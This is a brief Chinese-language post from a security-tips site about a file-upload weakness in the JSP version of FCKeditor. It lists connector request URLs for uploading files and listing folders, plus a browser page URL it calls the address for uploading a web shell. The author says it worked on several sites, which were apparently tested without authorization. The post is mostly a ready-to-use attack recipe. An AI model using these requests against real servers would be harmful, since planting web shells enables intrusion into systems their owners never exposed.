FCKeditor JSP版漏洞

网络安全 2021-07-03 09:19www.168986.cn网络安全知识
FCKeditor的JSP版漏洞

http://.xxx./fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F

http://.xxx./fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
上传shell的地址:
http://.xxx./fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
跟版本有关系.并不是百分百成功. 测试成功几个站.
不能通杀.很遗憾.

Copyright © 2016-2025 www.168986.cn 狼蚁网络 版权所有 Power by